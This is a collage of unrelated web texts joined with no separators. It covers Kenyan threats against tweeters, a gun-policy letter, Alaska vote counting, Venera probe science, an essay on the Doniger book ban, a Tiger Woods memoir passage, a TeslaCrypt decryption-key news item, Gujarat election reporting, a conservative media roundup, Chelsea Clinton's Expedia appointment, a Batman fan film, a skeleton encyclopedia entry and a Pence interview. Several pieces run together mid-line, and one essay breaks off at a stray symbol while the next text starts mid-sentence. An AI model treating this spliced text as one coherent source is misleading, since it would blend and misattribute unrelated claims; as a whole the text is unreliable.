“I saw a very bad tweet yesterday,” Information and Communication Permanent Secretary Bitange Ndemo announced Wednesday.
“Most people probably are thinking it is not easy knowing who they are,” he added, warning that his agency has “the capacity to do triangulation, and very easily get to the person, and that is what we are going to do with the names that we have.”
It’s unclear if Ndemo mistakenly thinks one can “triangulate” something on the Internet, or if he meant it as a euphemism for tracking down twitterers through other means. Regardless, by Kenya’s little-understood Information and Communications Act, anyone who “sends a message” online that’s either “grossly offensive” or “false [and] for the purpose of causing annoyance,” is committing a crime. Those found guilty of violating that law can be penalized with up to three years in prison and a fined up to 1 million Kenyan shillings ($11,534 USD).
Ndemo indicated that the Kenyan government already had compiled a substantial list of citizens whose online activity it disapproved of.
“If we begin to prosecute […] we would actually finish all the bloggers that we have out there,” he said. “Even you yourselves maybe said something in your blogs.”
It’s not unheard of for Kenyans to be arrested for their tweets. In August, blogger Robert Alai, who boasted 20,000 followers at the time, repeatedly tweeted that a government spokesman was trying to kill him for his support of a sexual assault victim. He went so far as to tweet the spokesman’s number, posting, “FOOLISH PIG is drunk with power.” Alai was convicted of violating the Information and Communications Act, and released after posting Khs 100,000 ($1,153.40 USD) bail.
In 2011, an unknown blogger had threatened, “ROBERT ALAI […] WILL SOON BE DEAD.” Alai later tweeted a photo of himself, beaten and bloodied, purportedly taken a few days after the threat.
It’s also unclear if Ndemo truly plans mass arrests, or if his goal is to scare Internet users.
“It is good that we create awareness,” he stated.
Screengrab of Ndemo via kenyacitizentv/YouTubeIt is incorrect to suggest that gun violence may be “the most polarizing subject in the country” [“With anti-gun-violence ad, NBA acts on polarizing issue,” front-page, Feb. 9]. The National Basketball Association and Spike Lee deserve credit for their roles in mobilizing players to speak out against gun violence. But referring to gun violence as a “divisive” or “volatile” issue falls right into the hands of gun manufacturers and extremists, who are the only ones who benefit from the status quo on gun policy.
A large majority of Americans, including gun owners, support stronger policies to keep guns out of the hands of criminals. Eighty-five percent of gun owners and 83 percent of non-owners favor requiring background checks on all gun sales, and 78 percent of gun owners and 80 percent of non-owners support prohibiting a person subject to a temporary domestic restraining order from having a gun.
In fact, when we poll Americans, we find that a large majority favor a range of gun-safety policies, often with little difference between gun owners and non-owners and between Democrats and Republicans.
Politicians and journalists should recognize that most policies relevant to gun violence are widely popular across cultural and party lines.
Colleen Barry and Alicia Samuels, Baltimore
The writers are, respectively, a faculty member and director of communications at the Johns Hopkins Center for Gun Policy and Research.When the Division of Elections closes for business today, Ted Stevens and Mark Begich will be a lot closer to knowing just who won the Alaska Senate race.
Elections officials plan to count more than half the 90,000 ballots that remain outstanding, the Anchorage Daily News writes today. That includes 61,000 absentee ballots, 9,500 early votes and 20,000 ballots that are disputed.
Officials will count the early votes and more than half the absentee votes, likely meaning Stevens' 3,257-vote lead will shrink. Early votes have gone to Democrat Begich by a 59%-37% margin, a spokesperson for the Alaska Democratic Party reports.
The number of outstanding ballots could still grow, as more than a quarter of Alaska's 40 precincts have not reported how many disputed ballots they have. Already, the 52,000 votes elections officials hope to count today amount to a little over 20% of the total number of votes cast.
comments closed
permalinkThree experiments were designed to analyze the chemical makeup of the atmosphere and clouds. Seen above, a radio-frequency mass spectrometer had a complex meter-long intake system to avoid becoming contaminated by cloud material as Venera-9's spectrometer had. Instead of admitting gas through a microscopic opening, it used an inlet valve that opened a large area for an extremely short time interval. And finally, it would not activate until far below the cloud and sub-cloud haze layer. A gas chromatograph measured chemical abundance in a completely different manner, by varying rates of diffusion through carefully chosen porous materials. The third chemical analysis experiment would collect cloud material in a filter and measure the spectrum of X-ray induced fluorescence. The spacecraft bus contained instruments geared for deep space and Venus flyby encounter: 30-166 nm Extreme UV Spectrometer Compound Plasma Spectrometer KONUS Gamma-Ray Burst Detector SNEG Gamma-Ray Burst Detector Magnetometer 4 Semiconductor Counters 2 Gas-Discharge Counters 4 Scintillation Counters Hemispherical Proton Telescope These included several hard-radiation sensors. The extreme-ultraviolet spectrometer was an extension of V.G. Kurt's work on atomic hydrogen. His new device, built in cooperation with French colleagues, could measure a complete spectrum that included the Lyman-α signatures of hydrogen, helium, oxygen and other elements. The KONUS gamma-ray detectors on Venera-11 and 12 worked in conjunction with a third detector on a Prognoz satellite in Earth orbit. These were used to triangulate the position of mysterious non-periodic blasts of radiation.
Flight Plan of Venera-11 Both weighing 4450 kilograms, Venera-11 and 12 were launched in 1978 on September 9 and 14. This launch window was a poor opportunity to orbit Venus, because the vehicles would arrive with three times the kinetic energy that Venera-9 and 10 did. Instead, hyperbolic trajectories and precise timing permitted sufficiently long radio links after landing. The Venera-12 arrived on December 21, and Venera-11 arrived on December 25. To make more room for cloud-analysis experiments, the parachute system was reduced to just a pilot chute, a supersonic braking chute, and a single descent chute which was jettisoned at the bottom of the cloud layer (49 km). As the atmosphere thickened with depth, the craft slowed from 50 meters/sec (112 mph) to a landing speed of 8 meters/sec (18 mph). Descent took 1 hour. Venera-12's landing raised a cloud of dust which darkened the sky for 20-30 seconds, until 1 meter/sec winds cleared it away. At Venera-11's site, no dust was observed. Venera-11 landed at 14° S 299° E. Conditions there were 92.6 atmospheres of pressure and a temperature of 452° C (846° F). It remained in radio contact for 95 minutes, until the bus vehicle moved out of range. Venera-12 landed about 850 km from there, at 7° S 294°, finding 93.6 atm and 468° C. It transmitted data to Earth for 110 minutes. Gas Mass Spectrometry Gas Chromatography Nitrogen 4.0±0.3 % 2.5±0.3 % Water 76, 130 ppm < 100 ppm Carbon Monoxide 28±7 ppm Oxygen < 20 ppm Sulphur Dioxide 130±35 ppm Neon 8.6±4 Argon 110±20 40±10 Krypton 0.6±0.2 The new atmospheric experiments provided information on important trace gases. The x-ray fluorospectrometer found chlorine to be ten times more common than sulphur in cloud material. This was interpreted to mean that the clouds contained a nonvolatile chlorine compound. Aluminum chloride was one speculation at the time. Unfortunately, the mass spectrometer on the Pioneer large probe became clogged by cloud droplets, but its gas chromatograph gave similar results to Venera, except for a much higher water content.
Burst of Electrical Activity Detected by Venera-12 The GROZA experiment detected bursts of low-frequency radio noise similar to those generated by lightening storms on Earth, but significantly more intense. There is some evidence that they originate in the deep atmosphere, far below the cloud layer. Lightning strikes around volcanic eruptions or some unknown atmospheric electrical phenomena could be responsible. It detected intense electrical activity during the descent of Venera-11, but much less from Venera-12, indicating that thunderstorms may be localized events on Venus as on Earth.God’s custodians are a dangerous legion. They live in permanent fear of the usurper who lurks beyond the magnetic field of belief. They wait in the shadows for the intruder, the blasphemer who puts books against the Book. They are the last vigilantes of the sacred, and they badly need aggrieved gods and endangered scriptures to justify their own existence, to guard their moribund kingdoms, to save their revolutions, to postpone their own mortality. They cannot afford to sleep, for enemies of the Only Truth are masters of masquerade. So beware the storyteller who imagines an alternative reality that challenges, lampoons, and questions the certainties of the divine. Beware the historian who ventures into the archival sites of holy lands, for history is a beguiling deception. Beware the scientist who is beholden to subatomic magic that goes against the original spark of the creator. Beware the cartoonist, the Devil’s Artist, who makes the gullible laugh, for laughter is subversion. God’s custodians are a tireless legion.
So the war on Wendy Doniger, author of the pulped The Hindus: An Alternative History, was inevitable. It happened in a place where gods continue to manage polling booths. Where blasphemy is the slogan of the desperate politician who harvests the anger of religious ghettos. Where superannuated leaders shop in the black markets of mythology to buy life- enhancing wares. Where banning the book is the bad habit of a state that abhors arguments. Where ‘religious sentiment’ is as elastic and convenient as ‘liberal sentiment’. Where certain religions need to be more protected than others, and where certain blasphemies are insensitive and intentional than others. India, after all, was quicker than Ayatollah Khomeini to banish Salman Rushdie, and that too, to appease a Muslim politician who didn’t even have to read the damn book to realise its worthlessness, its incendiary worthlessness. It was on a Valentine’s Day more than two decades ago that Rushdie, with a price tag attached to his head, lost his freedom. He was a necessary blasphemer for a dying revolution; and we were made to believe that the original religion of submission was so fragile that it was in danger of collapsing under the weight of 457 pages of godlessness. So the Book-keepers of religion ordered the assassination of imagination. And India joined the book burners club.
Things have changed since then. Rushdie has regained his freedom. In India, freedom is still a disputed item; it is negotiable; and its arbiters are mullahs, mahants, and politicians. The so-called Hindu group enraged by Doniger’s alternative history of Hindus—and easily appeased by her publishers—only shows how effortless it is in India to gag the ‘offensive’. The Hindu adjective to the God-defenders makes it all the more strange. There is no Book here to defend; there is no church here to set moral parameters; and there is no Supreme Custodian of the Highest Truth to claim complete copyright over the mind of the faithful. As Doniger herself, a renowned Sanskrit scholar and philologist at University of Chicago, writes in the beginning of her book, ‘There is no single founder or institution to enforce any single construction of the tradition, to rule on what is or is not a Hindu idea or to draw the line when someone finally goes too far and transgresses the unspoken boundaries of reinterpretation.’ What we have is the self-styled defender —a fringe sadhu or a bad reader, an aggrieved believer still swayed by the Vedic glory or the desperate Hindu nationalist. These codifiers of a least codified tradition thrive because India has institutionalised intolerance.
It has also institutionalised the culture of misreading, the oldest trick in the repertoire of zealots. They have certainly misread Doniger, whose scholarship is matched by her storytelling flourish. She provokes because she has an argument that shatters many dead certainties of faith. The subtitle of her book itself is a provocation: An Alternative History. It assumes that there is an official history—a canonical, unalterable history. There is none. But there are traditions, there are stories and a whirling multiplicity travelling back in centuries. Doniger writes, ‘Part of my agenda in writing an alternative history is to show how much the groups that conventional wisdom says were oppressed and silenced and played no part in the development of the tradition— women, Pariahs (oppressed castes, sometimes called Untouchables)—did actually contribute to Hinduism.’ What she wants is to break the Brahminical supremacy in storytelling; she wants to redeem the story of the Hindu from its inherent elitism. She wants to bring those who lie orphaned outside the narrative, the outcasts, to the mainstream. The protagonist of Doniger’s Hindu lore is not the wise Brahmin male. There is no protagonist, but there are lots interesting women and, yes, animals. She has a particular fascination for the ‘glorious’ horse.
For Doniger, Hinduism is not a linear, exclusivist religion but a tradition enriched by a polyphony of ideas distant and near. It is this inherent Hindu pluralism that makes her a severe critic of those who are desperate to put this religion without a code of conduct in a straitjacket. ‘The boast that Hinduism is tolerant and inclusive has become not only a part of Hindu law but a truism repeated by many Hindus today, yet this does not mean that it is false; it is a true truism, however contradicted it may be by recurrent epidemics of intolerance and exclusion,’ she writes. She is bothered by such epidemics, and she is not at all defensive about her aversion to Hindu fundamentalists: ‘Hindus nowadays are diverse in their attitude to their own diversity, which inspires pride in some, anxiety in others… It provokes anxiety in those Hindus who are sometimes called Hindu nationalists, or the Hindu right… or, more approximately, Hindu fundamentalists; they are against Muslims, Christians, and the Wrong Sort of Hindus.’ Her book, in her own words, is also ‘the alternative to the narrative of Hindu history that they tell’.
The truth is that, if India had listened to the history they tell, this country would have been a different place. They have been telling stories of vandalised civilisation and misplaced gods for a while. The stories must have worked for some time in an India where the Left-Liberal mind was conditioned by State-imposed secularism. Isms are born out of good ideas undone by the pathologies of power. In retrospect, the Nehruvian New Man—of secular reflexes and scientific temperament—was as artificial a project as the original Communist New Man, and both were bound to be waylaid by the force of history. The word ‘Hinduism’ itself is the Western description of a way of life in the East; this ism does not have an official hierarchy. And most rewardingly, Hinduism is not in power, as Islam is in certain parts of the world. In the last century, it was the ideology in power that exiled |
a second, and, realizing I was serious, said, "Don't do it."
"Why not? I don't care if he yells at me. I'm a big boy."
"He might try to hit you. I mean it. He told me once if you ever tried to talk to him, he'd punch you in the nose."
I laughed. "My guess is I'm quick enough to duck him." Earl already had health problems at that point and wasn't terribly mobile.
"Yeah, and then he'll hurt himself trying to hit you, and you'll be the one in trouble. It'll look like you baited him. Don't do it."
Pete and I joked around a lot, especially about his friendship with Earl. I could see now he was completely serious.
"You think it's a mistake to just introduce myself?"
"A big one."
I took his advice, so I never found out if Earl was just talking--which I suspect he was. Either way, Pete's point was well taken. Earl would probably tell people I was baiting him. So I steered clear.
And so, on the putting green at Sahalee, I was convinced that Tiger had no problem talking to me. Earl had the problem. As I had said, I understood Tiger standing by his father.
I put out my hand. "I just want to tell you that even though I'm sorry we won't be talking, I really appreciate you telling me this yourself and not sending someone to do it for you."
He returned the handshake. "I owed you that."
The funny thing is, I don't think I ever liked him more than at that moment. I really believed that with his smarts he was going to grow into someone truly worthy of being admired. Several years after our dinner, he did write a letter to Rachel Robinson, apologizing for not showing up that night in New York to honor her husband. The potential to do good was very much there.
I also thought at some point Tiger would get past his anger about what I'd said and written about his father.
Sadly, I was wrong on both counts.Ransomware are pretty simple with regard to how they work. Once installed on a computer, they quickly encrypt the user's hard drive and demand payment in exchange for decryption. Teslacrypt is one such ransomware, but its creators seem to have had a change of heart when somebody asked them nicely to share the decryption key.
A researcher for cybersecurity firm ESET had apparently noticed that the creators of the ransomware weren't as active when it came to distributing or developing their product. So, he reportedly contacted the creators through the chat window in the payment page, asking whether they would share the decryption key, and the creators agreed. They even published the key on the ransomware's payment page.
When the ESET researcher who had reportedly been studying the ransomware asked for the key, the creators reportedly put it up on their now-defunct payment site to which victims are redirected.
A ESET user, who goes by the name BloodDolly, used the key to upgrade his existing decryption software TeslaDecoder, which is freely available at BleepingComputer. The page also offers detailed instructions with regard to how the disk can be decrypted with the tool and data retrieved.
Geek.com reported that Teslacrypt works by snooping around users' computers, looking for game data. Once it finds the save files as well as Steam, RPG Maker, Unity, and Unreal Engine files, it encrypts them.Among the two youth community leaders, Hardik Patel (Patidar) and Alpesh Thakor (OBC), Hardik seems to have more of a hold among his community across Kheda, Arvalli, Sabarkantha, Mehsana, Patan and Sabarkantha districts in North Gujarat, which go to polls on December 14.
Advertising
Alpesh, who has joined the Congress, doesn’t seem to have swung many supporters to the party even in Radhanpur Assembly constituency of Patan district, where he is contesting.
“Alpesh is new to politics. I have no reason to follow him,” says Rambhai Thakor, in his late 30s, who runs an animal feed shop at Radhanpur says. A few of his customers, also Thakor, from nearby Maghapur-Ramnangar village, nod, saying their votes remain with the BJP despite Alpesh being in the race.
Bharat Parmar, a Thakor in his mid-30s, at Rudan village of Mehmedabad Assembly segment in Kheda, calls himself a loyal BJP man. “We are not guided by Alpesh. In fact, he should not have joined politics. By joining politics he has betrayed the community,” Parmar says.
“The BJP has brought development to our village,” adds Ganpat Bhai, who is in his early 40s and belongs to Muliyad village of Thasra Assembly segment of Kheda. As for Alpesh, he says, “I have only heard about him, nothing more.”
In fact, this trend of voters sticking to parties of their choice repeats across parties and segments here. And Alpesh’s presence doesn’t appear to have made a difference.
Lal Sinh Thakor, the owner of a general store at Karauli village of Modasa Assembly constituency in Arvalli, says he will vote for the Congress again, but not because Alpesh joined it. Lal Sinh is angry with the BJP government over the incomplete Narmada canal work. “Our land was taken for the canal. Neither did we get adequate compensation nor have we seen water in the canal,” says Lal Sinh, who is in his mid-30s.
In contrast, members of the Patidar community who have switched loyalties to the Congress cite Hardik’s agitation and the BJP’s reaction to it as the sole reason behind it. Naresh Patel, who is in his mid-40s and runs a shop at the Mehsana bypass, asserts that he had voted for the BJP all these years but not this time. “More than our demand for reservation, the police atrocities against youths of the Patidar agitation is behind our reason to change our preference to the Congress,” Naresh says.
“The BJP has become too arrogant. The way they treated our demands and our democratic agitation, they need to be taught a lesson,” says Nilesh Patel, who is in his late 30s and operates in the cotton and tobacco agricultural produce market yard at Unava in Unjha Assembly segment of Mehsana district.
Advertising
Dhirubhai Patel of Lingra village in the United Assembly segment of Anand district, and friends, however, say they will stick to the BJP. About quota, he says, “Let’s be clear, reservation for Patidars is not possible under the current regulations. No party can grant it.”A Coast Guard helicopter hoists a wheelchair after lifting a person to safety from a Houston neighborhood that was inundated with flooding from Harvey on Monday. Joe Raedle/Getty Images
A daily roundup of the biggest stories in right-wing media.
Conservative writers responded harshly to a Politico cartoon depicting a rescue of Texans stranded in floodwaters of Harvey. “Angels, sent by God!” a Texan in a Confederate flag shirt exclaims. “Er, actually Coast Guard,” the rescuer replies, “sent by the government.”
“This is the latest Leftist salvo against those in harm’s way—this week has been filled with hot takes from Leftists suggesting that Texans deserved the Hurricane because of Trump, or because of global warming, or because of the oil industry,” wrote the Daily Wire’s Ben Shapiro. “[T]he anti-religious nonsense embedded here suggests that Texans are a bunch of bitter clinger morons who think that helicopters are angels. That’s the most rote, empty view of religious people imaginable.” RedState’s Teri Christoph agreed that the cartoon characterized the left’s view of conservatives:
If you’ve ever wondered what the elites in DC think of everyday Americans, it’s right here in vivid color. We’re all just a bunch of know-nuthin rednecks in cowboy hats and Confederate flag shirts hoopin’ and hollerin’ about secession and God and angels. Silly us and our silly God, don’t we realize that Government is always the answer?
Other conservatives chimed in on Twitter:
This is such a blatant lie about what the cartoon was clearly mocking. https://t.co/1zg9toZDOm — John Sexton (@verumserum) August 30, 2017
On behalf of Texas, fuck you — Cameron Gray (@Cameron_Gray) August 30, 2017
In other news:
Conservatives noted Tomi Lahren’s hiring as a Fox News contributor. From the Daily Caller’s Betsy Rothstein:
Lahren had appeared on FNC Sean Hannity‘s program earlier in the summer to do his closing opinion segment. She’ll fittingly make her official debut appearance Wednesday night on Hannity’s program. With Hannity by her side, she may be unstoppable.
Or not.
[…] Lahren has a fierce 4.4 million following on Facebook. But her past employment at The Blaze is sketchy — The Daily Caller reported that she had a tough time getting along with many of her coworkers, at one point even making employees microwave her butt pads.
The Gateway Pundit called her a “conservative icon.” Lahren and her fans, including Eric Trump, celebrated on Twitter:
Everything works out the way it's supposed to. I'm blessed. #FoxNews — Tomi Lahren (@TomiLahren) August 30, 2017Chelsea Clinton will become a member of the board of travel service Expedia.
Expedia expanded its board from 13 to 14 members and elected Clinton, the daughter of former president Bill and former secretary of state Hillary, to fill the new position, a public filing with the US Securities and Exchange Commission shows.
Clinton, 37, will be compensated according to standard rules at the company for board members and is not on any specific committee, the filing said.
Scroll down for video
Chelsea Clinton, pictured at New York City's Lincoln Center American Songbook Gala with James Corden and LL Cool J in February, will become the 14th board member of travel service Expedia
The travel company expanded its board from 13 to 14 members. Clinton, the daughter of former president Bill and former secretary of state Hillary, was elected its 14th member
A company proxy statement showed non-employee directors were paid $45,000 up front, received $250,000 worth of stock and were paid $10,000 to $20,000 more for serving on committees in 2015, CNN Money reported.
Expedia is based in the northwestern US state of Washington and is one of the largest online services in the world for booking flights, hotels and car rentals.
Clinton, pictured with husband Mark Mezvinsky at a ball for School of American Ballet, serves on various other boards including Clinton Health Access Initiative
Chelsea Clinton, who turned 37 years old last month, is the only child of Bill and Hillary Clinton.
She was nearly 13 years old when her father took office in the White House.
Chelsea Clinton has been married since 2010 to a business banker, Marc Mezvinsky, and has two children of her own.
She works for the Clinton Foundation, where she is vice president and particularly involved with issues related to women and health.
She is on the board of its Clinton Health Access Initiative in addition to serving on the boards of IAC/InterActive Corp, the School of American Ballet and the Africa Center, among others.
A graduate of Stanford, Oxford, and Columbia universities, Chelsea Clinton worked for consulting firm McKinsey and did a stint as a special correspondent for NBC News.‘Batman: Death Wish’ Fan Film Interview and Behind the Scenes
Update: Batman: Death Wish will be online on January 13th, 2012 at the Batman: Death Wish site.
I have to say that it’s been a pleasure to be a part of Batman: Death Wish, a fan film that will be available online the week of January 9th. My role in the project was small (I was a henchman for the Scarecrow and Joker). During the time on set, we were able to record behind the scenes and had a chance to interview director Matt Hiscox and producer/writer Jennifer Zhang about the project. You can also get a sneak peek on characters like Robin, Nightwing, Scarecrow, Harley Quinn and more.
Check back soon as we’ll be releasing behind-the-scenes footage of what it’s like to be a henchman in a Batman fan film.
Synopsis – Armed with a lethal neurotoxin, a mysterious assailant is targeting the kingpins of Gotham’s criminal underground. As Batman and Robin are drawn deeper into an investigation that ensnares more and more of the rogues gallery, a disturbing revelation about the identity of the attacker begins to take shape.
Source: Nerd ReactorThe skeleton is the body part that forms the supporting structure of an organism. It can also be seen as the bony frame work of the body which provides support, shape and protection to the soft tissues and delicate organs in animals. There are several different skeletal types: the exoskeleton, which is the stable outer shell of an organism, the endoskeleton, which forms the support structure inside the body, the hydroskeleton, and the cytoskeleton. The term comes from Greek σκελετός (skeletós), meaning 'dried up'. [1]
A hydrostatic skeleton is a semi-rigid, soft tissue structure filled with liquid under pressure, surrounded by muscles. Longitudinal and circular muscles around their body sectors allow movement by alternate lengthening and contractions along their lengths. A common example of this is the earthworm.
The cytoskeleton (gr. kytos = cell) is used to stabilize and preserve the form of the cells. It is a dynamic structure that maintains cell shape, protects the cell, enables cellular motion (using structures such as flagella, cilia and lamellipodia ), and plays important roles in both intracellular transport (the movement of vesicles and organelles, for example) and cellular division.
Rigid skeletons are not capable of movement when stressed, creating a strong support system most common in terrestrial animals. Such a skeleton type used by animals that live in water are more for protection (such as barnacle and snail shells) or for fast-moving animals that require additional support of musculature needed for swimming through water. Rigid skeletons are formed from materials including chitin (in arthropods), calcium compounds such as calcium carbonate (in stony corals and mollusks ) and silicate (for diatoms and radiolarians ).
Pliant skeletons are capable of movement; thus, when stress is applied to the skeletal structure, it deforms and then reverts to its original shape. This skeletal structure is used in some invertebrates, for instance in the hinge of bivalve shells or the mesoglea of cnidarians such as jellyfish. Pliant skeletons are beneficial because only muscle contractions are needed to bend the skeleton; upon muscle relaxation, the skeleton will return to its original shape. Cartilage is one material that a pliant skeleton may be composed of, but most pliant skeletons are formed from a mixture of proteins, polysaccharides, and water. [2] For additional structure or protection, pliant skeletons may be supported by rigid skeletons. Organisms that have pliant skeletons typically live in water, which supports body structure in the absence of a rigid skeleton. [3]
The endoskeleton is the internal support structure of an animal, composed of mineralized tissue and is typical of vertebrates. Endoskeletons vary in complexity from functioning purely for support (as in the case of sponges ), to serving as an attachment site for muscles and a mechanism for transmitting muscular forces. A true endoskeleton is derived from mesodermal tissue. Such a skeleton is present in echinoderms and chordates.
An external skeleton can be quite heavy in relation to the overall mass of an animal, so on land, organisms that have an exoskeleton are mostly relatively small. Somewhat larger aquatic animals can support an exoskeleton because weight is less of a consideration underwater. The southern giant clam, a species of extremely large saltwater clam in the Pacific Ocean, has a shell that is massive in both size and weight. Syrinx aruanus is a species of sea snail with a very large shell.
The exoskeleton of insects is not only a form of protection, but also serves as a surface for muscle attachment, as a watertight protection against drying, and as a sense organ to interact with the environment. The shell of mollusks also performs all of the same functions, except that in most cases it does not contain sense organs.
Exoskeletons are external, and are found in many invertebrates ; they enclose and protect the soft tissues and organs of the body. Some kinds of exoskeletons undergo periodic moulting or edolysis as the animal grows, as is the case in many arthropods including insects and crustaceans.
There are two major types of skeletons: solid and fluid. Solid skeletons can be internal, called an endoskeleton, or external, called an exoskeleton, and may be further classified as pliant (elastic/movable) or rigid (hard/non-movable). [2] Fluid skeletons are always internal.
Invertebrates Edit
The endoskeletons of echinoderms and some other soft-bodied invertebrates such as jellyfish and earthworms are also termed hydrostatic; a body cavity the coelom is filled with coelomic fluid and the pressure from this fluid acts together with the surrounding muscles to change the organism's shape and produce movement.
Sponges Edit
The skeleton of sponges consists of microscopic calcareous or silicious spicules. The demosponges include 90% of all species of sponges. Their "skeletons" are made of spicules consisting of fibers of the protein spongin, the mineral silica, or both. Where spicules of silica are present, they have a different shape from those in the otherwise similar glass sponges.[4]
Echinoderms Edit
The skeleton of the echinoderms, which include, among other things, the starfish, is composed of calcite and a small amount of magnesium oxide. It lies below the epidermis in the mesoderm and is within cell clusters of frame-forming cells. This structure formed is porous and therefore firm and at the same time light. It coalesces into small calcareous ossicles (bony plates), which can grow in all directions and thus can replace the loss of a body part. Connected by joints, the individual skeletal parts can be moved by the muscles.
Vertebrates Edit
In most vertebrates, the main skeletal component is referred to as bone. These bones compose a unique skeletal system for each type of animal. Another important component is cartilage which in mammals is found mainly in the joint areas. In other animals, such as the cartilaginous fishes, which include the sharks, the skeleton is composed entirely of cartilage. The segmental pattern of the skeleton is present in all vertebrates (mammals, birds, fish, reptiles and amphibians) with basic units being repeated. This segmental pattern is particularly evident in the vertebral column and the ribcage.
Bones in addition to supporting the body also serve, at the cellular level, as calcium and phosphate storage.
Fish Edit
The skeleton, which forms the support structure inside the fish is either made of cartilage as in the (Chondrichthyes), or bones as in the (Osteichthyes). The main skeletal element is the vertebral column, composed of articulating vertebrae which are lightweight yet strong. The ribs attach to the spine and there are no limbs or limb girdles. They are supported only by the muscles. The main external features of the fish, the fins, are composed of either bony or soft spines called rays, which with the exception of the caudal fin (tail fin), have no direct connection with the spine. They are supported by the muscles which compose the main part of the trunk.
Birds Edit
The bird skeleton is highly adapted for flight. It is extremely lightweight, yet still strong enough to withstand the stresses of taking off, flying, and landing. One key adaptation is the fusing of bones into single ossifications, such as the pygostyle. Because of this, birds usually have a smaller number of bones than other terrestrial vertebrates. Birds also lack teeth or even a true jaw, instead having evolved a beak, which is far more lightweight. The beaks of many baby birds have a projection called an egg tooth, which facilitates their exit from the amniotic egg.
Marine mammals Edit
To facilitate the movement of marine mammals in water, the hind legs were either lost altogether, as in the whales and manatees, or united in a single tail fin as in the pinnipeds (seals). In the whale, the cervical vertebrae are typically fused, an adaptation trading flexibility for stability during swimming.[5][6]
Humans Edit
The human skeleton consists of both fused and individual bones supported and supplemented by ligaments, tendons, muscles and cartilage. It serves as a scaffold which supports organs, anchors muscles, and protects organs such as the brain, lungs, heart and spinal cord. Although the teeth do not consist of tissue commonly found in bones, the teeth are usually considered as members of the skeletal system.[7] The biggest bone in the body is the femur in the upper leg, and the smallest is the stapes bone in the middle ear. In an adult, the skeleton comprises around 14% of the total body weight,[8] and half of this weight is water.
Fused bones include those of the pelvis and the cranium. Not all bones are interconnected directly: There are three bones in each middle ear called the ossicles that articulate only with each other. The hyoid bone, which is located in the neck and serves as the point of attachment for the tongue, does not articulate with any other bones in the body, being supported by muscles and ligaments.
There are 206 bones in the adult human skeleton, although this number depends on whether the pelvic bones (the hip bones on each side) are counted as one or three bones on each side (ilium, ischium, and pubis), whether the coccyx or tail bone is counted as one or four separate bones, and does not count the variable wormian bones between skull sutures. Similarly, the sacrum is usually counted as a single bone, rather than five fused vertebrae. There is also a variable number of small sesamoid bones, commonly found in tendons. The patella or kneecap on each side is an example of a larger sesamoid bone. The patellae are counted in the total, as they are constant. The number of bones varies between individuals and with age – newborn babies have over 270 bones[9][10][11] some of which fuse together. These bones are organized into a longitudinal axis, the axial skeleton, to which the appendicular skeleton is attached.[12]
The human skeleton takes 20 years before it is fully developed. In many animals, the skeleton bones contain marrow, which produces blood cells.
There exist several general differences between the male and female skeletons. The male skeleton, for example, is generally larger and heavier than the female skeleton. In the female skeleton, the bones of the skull are generally less angular. The female skeleton also has wider and shorter breastbone and slimmer wrists. There exist significant differences between the male and female pelvis which are related to the female's pregnancy and childbirth capabilities. The female pelvis is wider and shallower than the male pelvis. Female pelvises also have an enlarged pelvic outlet and a wider and more circular pelvic inlet. The angle between the pubic bones is known to be sharper in males, which results in a more circular, narrower, and near heart-shaped pelvis.[13][14]WASHINGTON – President Trump will be the first to recognize that having Mike Pence as vice president is as reassuring as it gets. He's a calm force and a man who knows how Washington works. But evangelicals are just as happy to have Pence in the number two slot. After all, he's one of them and has been instrumental in making sure they have a seat at the table and a major voice inside the White House.
"I think President Trump has a heart of gratitude for evangelical Christians in this country," the vice president tells CBN's David Brody. "I have to tell you, the sweetest words the president and I ever hear, and we hear them a lot, are when people grab us by the hand and say, 'We're praying for you.'"
"I've been with this president in the Oval Office, with religious leaders, when people have asked to pause for a moment of prayer and the president readily embraces that. I think he' always very humbled and grateful by the support of believers. But, let me be clear: President Trump is a believer and so am I. And we understand the role of faith in the life of this nation, and the American people I think can be encouraged to know that in President Donald Trump, they have a leader who embraces and respects and appreciates the role of faith and the importance of religion in the lives of our families in communities in our nation and he always will."
Stretching their Faith
Both Pence and Trump have sure had their faith tested in 2017. Whether it was a swing and a miss with congressional Republicans on repealing and replacing Obamacare or a special counsel investigating whether there was collusion between Russia and team Trump during the presidential election, it's been busy to say the least.
Pence gave us his take on the year in review. "I think the high point for me has been to serve as vice president to a president who's focus is so much on the safety and security of the American people," Pence told CBN News. "President Trump has already signed the largest increase in military spending in a decade and before the end of this year we believe we'll make the largest investment in our national defense since the days of Ronald Reagan."
"With that renewed commitment, our armed forces are making extraordinary progress in the fight against radical Islamic terrorism. ISIS is on the run; literally the American armed forces and our allies have overtaken what just a few short years ago ISIS declared to be their capital of their so called new caliphate in Raqqa."
"To see the way this president has provided leadership as our commander in chief, his strong and swift decision to use American military power to respond to the use of chemical weapons against innocent civilians in Syria, I think it's sent a message to the world that America is back, that America has in a very real sense under President Trump, we've restored the credibility of American leadership. As I've traveled around the world, I've heard it again and again that leaders, whether when I traveled in Europe or the Asia Pacific or in South America, are grateful to see a president, to see an administration that's embracing our role as leader of the free world and providing our military with the focus on the mission of defeating ISIS and for me, that progress is the proudest accomplishment of this administration during the year 2017."
Most Challenging Moment?
But what about the most challenging moment of the year? "Well, obviously the extraordinary impact of the hurricane season on Florida and Texas and Puerto Rico and the Virgin Islands and then the tragedies that we've seen in mass shootings in Las Vegas and in that small town in Texas. I know that it has been a real burden on the heart of our president and our family, but I must tell you that in the same breath, I would say, David, how proud we are of our first responders in the wake of those hurricanes. How proud we are of the job that FEMA has done at every level, to come alongside families in those moments and to help families rebuild, and President Trump has brought that optimism and that determination to tell people, we're with you today, we'll be with you tomorrow and as we're proving everyday that we're going to be with these communities everyday as they rebuild but those are the events that are heavy on the heart of those of us that have the privilege to serve."
So what's in store for 2018? The economy is humming along but Pence's outlook gets rosier from there. It's part of his package of New Year's resolutions.
"When this tax cut makes its way to the president's desk, we believe we'll have laid a foundation by rolling back red tape, by appointing strong conservatives to our courts at every level, including justice Neil Gorsuch to the Supreme Court. That, combined with tax relief, we believe is going to lay a foundation for sustained economic growth, the likes of which we've begun to see in this country already.
